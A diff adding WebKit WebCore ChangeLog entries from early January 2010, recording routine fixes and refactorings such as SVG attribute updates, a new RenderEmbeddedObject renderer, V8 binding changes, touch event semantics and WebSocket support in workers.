+        Tests: svg/dynamic-updates/SVGTRefElement-dom-href-attr.html
+               svg/dynamic-updates/SVGTextElement-dom-transform-attr.html
+               svg/dynamic-updates/SVGTextElement-svgdom-transform-prop.html
+
+        * svg/SVGGradientElement.cpp:
+        (WebCore::SVGGradientElement::parseMappedAttribute):
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::parseMappedAttribute):
+        * svg/SVGStyledTransformableElement.cpp:
+        (WebCore::SVGStyledTransformableElement::parseMappedAttribute):
+        * svg/SVGTRefElement.cpp:
+        (WebCore::SVGTRefElement::svgAttributeChanged):
+        * svg/SVGTRefElement.h:
+        * svg/SVGTextElement.cpp:
+        (WebCore::SVGTextElement::parseMappedAttribute):
+        (WebCore::SVGTextElement::svgAttributeChanged):
+        (WebCore::SVGTextElement::childrenChanged):
+        * svg/SVGTextElement.h:
+        * svg/SVGTextPositioningElement.cpp:
+        (WebCore::SVGTextPositioningElement::svgAttributeChanged):
+        * svg/SVGTextPositioningElement.h:
+        * svg/SVGTransformable.cpp:
+        (WebCore::SVGTransformable::parseTransformAttribute):
+        * svg/SVGTransformable.h:
+
+2010-01-07  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Padding in popup menu gets lost with styled <select> in Windows.
+        Fixes <rdar://7285538>, and <http://webkit.org/b/33235>.
+
+        [Win] Support padding-right on selects when webkit-appearance is off. Added a test
+        case for narrow selects with -webkit-appearance: none, and padding left and right to
+        show that both types of padding are honored.
+
+        * manual-tests/select-webkit-appearance-off-narrow-select.html: Added.
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::calculatePositionAndSize): Use clientPaddingRight instead of a hardcoded constant.
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::clientPaddingRight): If webkit-appearance is off, use padding-right instead of
+        the hardcoded constant.
+
+2010-01-07  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33057
+        REGRESSION(r49365): typeof(xhr.responseText) != "string" in Windows
+
+        <rdar://problem/7296920> REGRESSION: WebKit fails to start PeaceKeeper benchmark
+
+        * config.h: Define JS_EXPORTCLASS. I'm not sure why this isn't done in JSC globally for all
+        possible clients, but keeping the current design for now.
+
+2010-01-07  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Jon Honeycutt.
+
+        Account for scale and current context position (as well as page
+        position) in the device context world transform passed to
+        plugins.  This is especially important for print surface DPI.
+        http://bugs.webkit.org/show_bug.cgi?id=32909.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::paintWindowedPluginIntoContext): Revise
+          world context handling to include scaling and translation
+          already set for the CTM.
+
+2010-01-07  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Generate V8 bindings header declarations for named and indexed accessors.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        * bindings/v8/custom/V8StorageCustom.cpp:
+        * bindings/v8/custom/V8StyleSheetListCustom.cpp:
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+
+2010-01-07  Geoffrey Garen  <ggaren@apple.com>
+
+        Better build fix: use 'this->structure()', since 'structure' is a
+        PassRefPtr, and therefore null.
+
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::JSDOMWindowBase):
+
+2010-01-07  Geoffrey Garen  <ggaren@apple.com>
+
+        Build fix: avoid a name conflict by using the local 'structure' instead
+        of the member 'structure()'.
+
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::JSDOMWindowBase):
+
+2010-01-07  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix.
+
+        Add RenderEmbeddedObject.h/cpp to all the build systems.
+
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCoreSources.bkl:
+
+2010-01-07  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Safari memory usage skyrockets using new Google AdWords interface
+        https://bugs.webkit.org/show_bug.cgi?id=33343
+
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::JSDOMWindowBase): Disabled specific function
+        tracking for the window object, since there's no way to do direct
+        method calls on the window object; they all go through the window shell.
+
+2010-01-07  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Kevin Decker, Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33338
+        Create a renderer for <object> and <embed>
+        
+        Add RenderEmbeddedObject, which derives from RenderPartObject, and is created for <object> and <embed>.
+        Instances of RenderPartObject are now only allocated for iframes.
+        
+        Move object/embed-related code from RenderPartObject to RenderEmbeddedObject.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        Add RenderEmbeddedObject.h/cpp
+        
+        * html/HTMLEmbedElement.cpp:
+        (WebCore::HTMLEmbedElement::createRenderer): Create a RenderEmbeddedObject.
+        (WebCore::HTMLEmbedElement::updateWidget): Use toRenderEmbeddedObject()
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::createRenderer): Make a RenderEmbeddedObject for the plugin-proxy case.
+        (WebCore::HTMLMediaElement::finishParsingChildren): Use toRenderEmbeddedObject() in the plugin-proxy code.
+
+        * html/HTMLObjectElement.cpp:
+        (WebCore::HTMLObjectElement::createRenderer): Make a RenderEmbeddedObject
+        (WebCore::HTMLObjectElement::updateWidget): Use toRenderEmbeddedObject()
+
+        * page/FrameView.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::addWidgetToUpdate):
+        (WebCore::FrameView::removeWidgetToUpdate):
+        (WebCore::FrameView::updateWidgets):
+        Objects in the m_widgetUpdateSet are only ever RenderEmbeddedObjects.
+        
+        * rendering/RenderEmbeddedObject.cpp: Added.
+        * rendering/RenderEmbeddedObject.h: Added.
+        Most of the code moved from RenderPartObject.
+        
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isEmbeddedObject): New method.
+
+        * rendering/RenderPart.cpp:
+        (WebCore::RenderPart::RenderPart): Initialize m_hasFallbackContent here, rather than in the derived classes.
+        * rendering/RenderPart.h: Comments.
+        
+        * rendering/RenderPartObject.h:
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::RenderPartObject): Clean up, code moved to base class, and removed object/embed-specific code.
+        (WebCore::RenderPartObject::layout): Removed object/embed-specific code.
+
+2010-01-07  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33338
+        Create a renderer for <object> and <embed>
+
+        First part of this change: renderPartObject->updateWidget() is a no-op for iframe elements,
+        so we don't need to call it here, and can thus remove the attach() override entirely.
+
+        * html/HTMLIFrameElement.cpp:
+        * html/HTMLIFrameElement.h:
+
+2009-01-07  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Migrate to canvas-based text viewer / editor that scales.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33001
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/JavaScriptHighlighterScheme.js: Added.
+        (WebInspector.JavaScriptHighlighterScheme):
+        * inspector/front-end/KeyboardShortcut.js:
+        * inspector/front-end/TextEditor.js: Added.
+        (WebInspector.TextEditor):
+        (WebInspector.TextSelectionModel):
+        (WebInspector.TextCursor):
+        * inspector/front-end/TextEditorHighlighter.js: Added.
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype.highlight):
+        (WebInspector.TextEditorHighlighter.prototype._lex):
+        * inspector/front-end/TextEditorModel.js: Added.
+        (WebInspector.TextRange):
+        (WebInspector.TextRange.prototype.clone):
+        (WebInspector.TextEditorModel):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+
+2010-01-07  Christian Sejersen  <christian.webkit@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        document.title does not replace or remove space characters
+        https://bugs.webkit.org/show_bug.cgi?id=27032
+
+        Test: fast/dom/Document/document-title-get.html
+
+        * dom/Document.cpp: 
+        (WebCore::Document::Document): 
+        Initialization of m_rawTitle
+        (WebCore::canonicalizedTitle): 
+        Moved from DocumentLoader.cpp with minor edits
+        (WebCore::Document::updateTitle): 
+        Ensures the title is canonicalized
+        (WebCore::Document::setTitle): 
+        Uses m_rawTitle instaed of m_title 
+        (WebCore::Document::removeTitle): 
+        Uses m_rawTitle instead of m_title
+        
+        * dom/Document.h: 
+        Added m_rawTitle that stores the passed in title, m_title now stores the 
+        canonicalized title
+        
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::setTitle): 
+        The title passed in is now canonicalized in Document.cpp
+
+2010-01-07  Yuzo Fujishima  <yuzo@google.com>
+
+        Reviewed by Darin Adler.
+
+        Allow leading/trailing space for CSS nth-*() and lang().
+        https://bugs.webkit.org/show_bug.cgi?id=17248
+
+        For pseudo-classes :nth-*() and :lang(), space must be allowed after '(' and before ')'.
+        See the bug comments for why we don't allow space at other places.
+
+        * css/CSSGrammar.y:
+
+2010-01-07  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        AX: contentEditable DIVs are not AX accessible
+        https://bugs.webkit.org/show_bug.cgi?id=33325
+
+        Test: accessibility/contenteditable-hidden-div.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::AccessibilityRenderObject::canSetValueAttribute):
+
+2010-01-07  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed.  Resolve merge conflict.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setContextDebugId):
+
+2010-01-07  Adam Barth  <abarth@webkit.org>
+
+        No review, rolling out r52847.
+        http://trac.webkit.org/changeset/52847
+        https://bugs.webkit.org/show_bug.cgi?id=33232
+
+        Might have caused a perf regression.  I'm rolling this out to see if it
+        heals the perf bot.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::ScriptController):
+        (WebCore::ScriptController::~ScriptController):
+        (WebCore::ScriptController::updateSecurityOrigin):
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        (WebCore::ScriptController::haveInterpreter):
+        (WebCore::ScriptController::clearWindowShell):
+        (WebCore::ScriptController::updateDocument):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::convertDocumentToV8Object):
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+        * bindings/v8/V8IsolatedContext.cpp:
+        (WebCore::V8IsolatedContext::V8IsolatedContext):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::V8Proxy):
+        (WebCore::V8Proxy::~V8Proxy):
+        (WebCore::V8Proxy::handleOutOfMemory):
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
+        (WebCore::V8Proxy::clearForClose):
+        (WebCore::V8Proxy::clearForNavigation):
+        (WebCore::V8Proxy::context):
+        (WebCore::V8Proxy::mainWorldContext):
+        (WebCore::V8Proxy::currentContext):
+        (WebCore::V8Proxy::setContextDebugId):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::windowShell):
+        * bindings/v8/WorldContextHandle.cpp:
+        (WebCore::WorldContextHandle::adjustedContext):
+
+2010-01-07  Dan Bernstein  <mitz@apple.com>
+
+        Build fix
+
+        * WebCore.xcodeproj/project.pbxproj: Made TypesettingFeatures.h private.
+
+2010-01-07  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Added Font::typesettingFeatures() and deployed it
+
+        No change in funcitonality
+
+        * WebCore.xcodeproj/project.pbxproj: Added TypesettingFeatures.h.
+        * platform/graphics/Font.h:
+        (WebCore::Font::typesettingFeatures): Added. Determines the typesetting
+            features from the text redndering mode.
+        * platform/graphics/FontFastPath.cpp:
+        (WebCore::Font::canUseGlyphCache): Use typesettingFeatures().
+        * platform/graphics/SimpleFontData.h:
+        * platform/graphics/TypesettingFeatures.h: Added.
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        (WebCore::disableLigatures): Take TypesettingFeatures instead of
+            TextRenderingMode.
+        (WebCore::initializeATSUStyle): Ditto.
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharactersATSUI):
+            Use typesettingFeatures().
+        * platform/graphics/mac/ComplexTextControllerCoreText.cpp:
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharactersCoreText):
+            Ditto.
+        * platform/graphics/mac/SimpleFontDataMac.mm:
+        (WebCore::SimpleFontData::getCFStringAttributes): Take
+            TypesettingFeatures instead of TextRenderingMode.
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::findNextLineBreak): Use TypesettingFeatures().
+
+2010-01-07  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r52900.
+        http://trac.webkit.org/changeset/52900
+        https://bugs.webkit.org/show_bug.cgi?id=30055
+
+        Broke over 30 SVG pixel tests.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+
+2010-01-07  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Rubber-stamped by Kenneth Rohde Christiansen.
+
+        [Qt] The library version number of the first package release is 4.7.0.
+
+        * WebCore.pro:
+
+2010-01-07  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Allow the application to override online/offline network status
+        https://bugs.webkit.org/show_bug.cgi?id=32684
+
+        Added API to NetworkStateNotifier for forcing network status.
+
+        * platform/network/NetworkStateNotifier.h:
+        * platform/network/qt/NetworkStateNotifierPrivate.h:
+        * platform/network/qt/NetworkStateNotifierQt.cpp:
+        (WebCore::NetworkStateNotifierPrivate::NetworkStateNotifierPrivate):
+        (WebCore::NetworkStateNotifierPrivate::onlineStateChanged):
+        (WebCore::NetworkStateNotifierPrivate::networkAccessPermissionChanged):
+        (WebCore::NetworkStateNotifier::updateState):
+        (WebCore::NetworkStateNotifier::NetworkStateNotifier):
+        (WebCore::NetworkStateNotifier::setNetworkAccessAllowed):
+
+2010-01-07  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix linkage against Qt mobility API bearer management module
+
+        Use the documented .pro file syntax to link against the correct
+        library and (more importantly) get the include paths correct.
+
+        * WebCore.pro:
+
+2010-01-07  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33272
+        'abort' event still fired as a progress event
+
+        rdar://6710625
+        Test media/video-error-abort.html doesn't work
+
+        Test: http/tests/media/video-error-abort.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::scheduleEvent): Incorporate code from enqueueEvent.
+        (WebCore::HTMLMediaElement::loadInternal): Fix 'abort' event firing logic missed
+        in https://bugs.webkit.org/show_bug.cgi?id=30513. Change order of initialization 
+        to match spec wording.
+        * html/HTMLMediaElement.h: Remove enqueueEvent prototype.
+
+2010-01-07  Kim Grönholm  <kim.gronholm@nomovok.com>
+
+        Reviewed by Antti Koivisto.
+
+        Wrong state and TouchLists in TouchEvents
+        https://bugs.webkit.org/show_bug.cgi?id=32878
+
+        Touch events changed to match the API and semantics of iPhone and
+        Android. Each new touch point press dispatches a touchstart event with
+        the pressed touch point(s) in the changedTouches list, and a release
+        dispatches a touchend event with the released touch point(s) in
+        changedTouches. Moved points dispatch a touchmove event, with the moved
+        points in changedTouches. Old behaviour emitted only one touchstart when
+        the first point was pressed and one touchend when the last point was
+        released, and any events in between were touchmoves. New presses or
+        releases could only be detected by comparing the lists touches and
+        changedTouches.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent):
+        * page/EventHandler.h:
+
+2010-01-07  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Remove COM code generation stuff.
+        https://bugs.webkit.org/show_bug.cgi?id=32854
+
+        Remove the followings:
+        - CodeGeenratorCOM.pm, COM code generator,
+        - "#if !defined(LANGUAGE_COM) || !LANGUAGE_COM" in IDL files, and
+        - UUID attributes in IDL files.
+
+        * bindings/scripts/CodeGeneratorCOM.pm: Removed.
+        * css/CSSCharsetRule.idl:
+        * css/CSSFontFaceRule.idl:
+        * css/CSSImportRule.idl:
+        * css/CSSMediaRule.idl:
+        * css/CSSPageRule.idl:
+        * css/CSSPrimitiveValue.idl:
+        * css/CSSRule.idl:
+        * css/CSSRuleList.idl:
+        * css/CSSStyleDeclaration.idl:
+        * css/CSSStyleRule.idl:
+        * css/CSSStyleSheet.idl:
+        * css/CSSUnknownRule.idl:
+        * css/CSSValue.idl:
+        * css/CSSValueList.idl:
+        * css/Counter.idl:
+        * css/MediaList.idl:
+        * css/RGBColor.idl:
+        * css/Rect.idl:
+        * css/StyleSheet.idl:
+        * css/StyleSheetList.idl:
+        * css/WebKitCSSKeyframeRule.idl:
+        * css/WebKitCSSKeyframesRule.idl:
+        * css/WebKitCSSTransformValue.idl:
+        * dom/Attr.idl:
+        * dom/CDATASection.idl:
+        * dom/CharacterData.idl:
+        * dom/Comment.idl:
+        * dom/DOMImplementation.idl:
+        * dom/Document.idl:
+        * dom/DocumentFragment.idl:
+        * dom/DocumentType.idl:
+        * dom/Element.idl:
+        * dom/Entity.idl:
+        * dom/EntityReference.idl:
+        * dom/Event.idl:
+        * dom/EventListener.idl:
+        * dom/EventTarget.idl:
+        * dom/NamedNodeMap.idl:
+        * dom/Node.idl:
+        * dom/NodeList.idl:
+        * dom/Notation.idl:
+        * dom/ProcessingInstruction.idl:
+        * dom/Text.idl:
+        * html/HTMLAnchorElement.idl:
+        * html/HTMLAppletElement.idl:
+        * html/HTMLAreaElement.idl:
+        * html/HTMLBRElement.idl:
+        * html/HTMLBaseElement.idl:
+        * html/HTMLBaseFontElement.idl:
+        * html/HTMLBlockquoteElement.idl:
+        * html/HTMLBodyElement.idl:
+        * html/HTMLButtonElement.idl:
+        * html/HTMLCanvasElement.idl:
+        * html/HTMLCollection.idl:
+        * html/HTMLDListElement.idl:
+        * html/HTMLDirectoryElement.idl:
+        * html/HTMLDivElement.idl:
+        * html/HTMLDocument.idl:
+        * html/HTMLElement.idl:
+        * html/HTMLEmbedElement.idl:
+        * html/HTMLFieldSetElement.idl:
+        * html/HTMLFontElement.idl:
+        * html/HTMLFormElement.idl:
+        * html/HTMLFrameElement.idl:
+        * html/HTMLFrameSetElement.idl:
+        * html/HTMLHRElement.idl:
+        * html/HTMLHeadElement.idl:
+        * html/HTMLHeadingElement.idl:
+        * html/HTMLHtmlElement.idl:
+        * html/HTMLIFrameElement.idl:
+        * html/HTMLImageElement.idl:
+        * html/HTMLInputElement.idl:
+        * html/HTMLIsIndexElement.idl:
+        * html/HTMLLIElement.idl:
+        * html/HTMLLabelElement.idl:
+        * html/HTMLLegendElement.idl:
+        * html/HTMLLinkElement.idl:
+        * html/HTMLMapElement.idl:
+        * html/HTMLMarqueeElement.idl:
+        * html/HTMLMenuElement.idl:
+        * html/HTMLMetaElement.idl:
+        * html/HTMLModElement.idl:
+        * html/HTMLOListElement.idl:
+        * html/HTMLObjectElement.idl:
+        * html/HTMLOptGroupElement.idl:
+        * html/HTMLOptionElement.idl:
+        * html/HTMLOptionsCollection.idl:
+        * html/HTMLParagraphElement.idl:
+        * html/HTMLParamElement.idl:
+        * html/HTMLPreElement.idl:
+        * html/HTMLQuoteElement.idl:
+        * html/HTMLScriptElement.idl:
+        * html/HTMLSelectElement.idl:
+        * html/HTMLStyleElement.idl:
+        * html/HTMLTableCaptionElement.idl:
+        * html/HTMLTableCellElement.idl:
+        * html/HTMLTableColElement.idl:
+        * html/HTMLTableElement.idl:
+        * html/HTMLTableRowElement.idl:
+        * html/HTMLTableSectionElement.idl:
+        * html/HTMLTextAreaElement.idl:
+        * html/HTMLTitleElement.idl:
+        * html/HTMLUListElement.idl:
+
+2010-01-07  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Adds the ability to increase the delay used when scheduling layout.
+        https://bugs.webkit.org/show_bug.cgi?id=32875
+
+        No new tests possible.
+
+        * dom/Document.cpp: Modified.
+        (WebCore::Document::Document): Modified. Initializes extra layout delay to zero.
+        (WebCore::Document::minimumLayoutDelay): Modified. Adds extra layout delay when calculating minimum layout delay.
+        * dom/Document.h: Modified.
+        (WebCore::Document::setExtraLayoutDelay): Added. Sets the extra layout delay.
+
+2010-01-07  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Some IDL files lack "," separators for extended attributes.
+        https://bugs.webkit.org/show_bug.cgi?id=33190
+
+        To find such mistakes, IDLParser.pm rejects whitespace characters in
+        extended attribute names.
+
+        * bindings/scripts/IDLParser.pm:
+          parseExtendedAttributes rejects whitespace in a name.
+        * css/WebKitCSSTransformValue.idl: Add missing ",".
+        * dom/EventTarget.idl: ditto.
+
+2010-01-07  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix an issue that CodeGeneratorV8.pm doesnt handle HasIndexGetter of
+        WebKitCSSTransformValue.idl correctly.
+        https://bugs.webkit.org/show_bug.cgi?id=33193
+
+        CodeGeneratorV8.pm doesn't handle inheritance very well and it
+        tried to refer v8WebKitCSSTransformValueIndexedPropertyGetter(),
+        which does not exist. Because WebKitCSSTransformValue inherits
+        CSSValueList and CSSValueList already has HadIndexGetter, we don't
+        need to do anything for WebKitCSSTransformValue about HasIndexGetter.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+          Reset $hasGetter for WebKitCSSTransformValue.
+
+2010-01-07  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Do not return strings whose handles are in near death state (that means
+        they might be GCed) or just empty.
+        https://bugs.webkit.org/show_bug.cgi?id=31180
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8ExternalString):
+
+2010-01-06  MORITA Hajime  <morrita@gmail.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG background color on selected text goes wrong when text has
+        gradient stroke.
+        https://bugs.webkit.org/show_bug.cgi?id=33069
+
+        Introduced SVGTextPaintSubphase like as PaintPhase on html painting,
+        and paint background and foreground in separate subphase.
+        
+        Test: svg/text/selection-background-color.xhtml
+        
+        * rendering/SVGCharacterLayoutInfo.h:
+        (WebCore::SVGTextChunkWalker::SVGTextChunkWalker):
+        Added m_setupBackgroundCallback, m_setupForegroundCallback
+        (WebCore::SVGTextChunkWalker::setupBackground):
+        (WebCore::SVGTextChunkWalker::setupForeground):
+        Added.
+        * rendering/SVGInlineTextBox.cpp:
+        (WebCore::SVGInlineTextBox::paintCharacters):
+        pass SVGTextPaintInfo instead of SVGPaintServer
+        * rendering/SVGInlineTextBox.h:
+        (WebCore::SVGTextPaintSubphase):
+        (WebCore::SVGTextPaintInfo::SVGTextPaintInfo):
+        Added.
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::SVGRootInlineBox::walkTextChunks):
+        Invoke setupBackground() and setupForeground()
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkSetupBackgroundCallback):
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkSetupForegroundCallback):
+        (WebCore::SVGRootInlineBoxPaintWalker::activePaintServer):        
+        Added.
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkSetupFillCallback):
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkSetupStrokeCallback):
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkPortionCallback):
+        (WebCore::SVGRootInlineBox::paint):
+        
+2010-01-06  Kinuko Yasuda  <kinuko@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Make windowsKeyCodeForKeyEvent() return correct key code for
+        numeric-pad arrow keys.
+        https://bugs.webkit.org/show_bug.cgi?id=33250
+
+        Test: fast/events/keydown-numpad-keys.html
+
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::windowsKeyCodeForKeyEvent):
+
+2009-10-18 Patrick Gansterer <paroga@paroga.com>
+
+        Reviewed by Dirk Schulze.
+
+        Improve DOM performance in large SVG files.
+        Check the dirty area before painting a path, which prevents unnecessary
+        clipping and changes to the GraphicsContext.
+        https://bugs.webkit.org/show_bug.cgi?id=30055
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+
+2010-01-06  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Use a static HashMap for HTMLElement::tagPriority().
+        https://bugs.webkit.org/show_bug.cgi?id=33269
+
+        The prior code compares AtomicStringImpl pointers 18 times at
+        worst. This change avoids it.
+
+        No new tests because this is just a refactoring.
+
+        * html/HTMLElement.cpp:
+        (WebCore::Empty1IntHashTraits): A HashTraits to return 1 as the empty value.
+        (WebCore::initializeTagPriorityMap): Initialization of a static HashMap.
+        (WebCore::HTMLElement::tagPriority): Use the static HashMap created by initializeTagPriorityMap().
+        * html/HTMLElement.h:
+        (WebCore::HTMLElement::HTMLElement): Add an assertion about non-null localName().
+
+2010-01-06  Mike Belshe  <mike@belshe.com>
+
+        Add a flag to the ResourceResponse for tracking if a request was
+        fetched via SPDY.  This is plumbed through so that we can inform
+        a webpage via JavaScript if it was fecthed via the experimental
+        SPDY protocol.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33186
+
+        * platform/network/chromium/ResourceResponse.h:
+        (WebCore::ResourceResponse::wasFetchedViaSpdy):
+        (WebCore::ResourceResponse::setWasFetchedViaSpdy):
+
+2010-01-06  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Adam Treat.
+
+        [Qt] RenderTheme: Missing support for native sliders
+
+        https://bugs.webkit.org/show_bug.cgi?id=33122
+
+        Implement painting of native slider controls in RenderTheme
+        and unskip a couple of layout tests that are passing after
+        this change.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::paintSliderTrack):
+        (WebCore::RenderThemeQt::adjustSliderTrackStyle):
+        (WebCore::RenderThemeQt::paintSliderThumb):
+        (WebCore::RenderThemeQt::adjustSliderThumbStyle):
+        (WebCore::RenderThemeQt::supportsFocus):
+        (WebCore::RenderThemeQt::adjustSliderThumbSize):
+        * platform/qt/RenderThemeQt.h:
+
+2010-01-06  Jesus Sanchez-Palencia  <jesus.palencia@openbossa.org>
+
+        Reviewed by Darin Adler.
+
+        Adjust incorrect comments after r40534.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::markActiveObjectsForContext):
+
+2010-01-06  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Unreviewed build fix for chromium.
+        Add "bool V8WorkerContext::WebSocketEnabled()"
+
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::V8WorkerContext::WebSocketEnabled):
+
+2010-01-06  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Unreviewed build fix.
+        remove wrong assertion
+
+        * websockets/WorkerThreadableWebSocketChannel.cpp:
+        (WebCore::WorkerThreadableWebSocketChannel::Bridge::Bridge):
+
+2010-01-06  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add WebSocket feature in Worker
+        https://bugs.webkit.org/show_bug.cgi?id=32214
+
+        Introduce ThreadableWebSocketChannel interface and add
+        WorkerThreadableWebSocketChannel for Worker.
+        WorkerThreadableWebSocketChannel uses WebSocketChannel in the
+        main thread, which is managed by Peer and communicated via Bridge.
+
+        Test: websocket/tests/workers/worker-simple.html
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSWebSocketConstructor.h:
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::webSocket):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::convertEventTargetToV8Object):
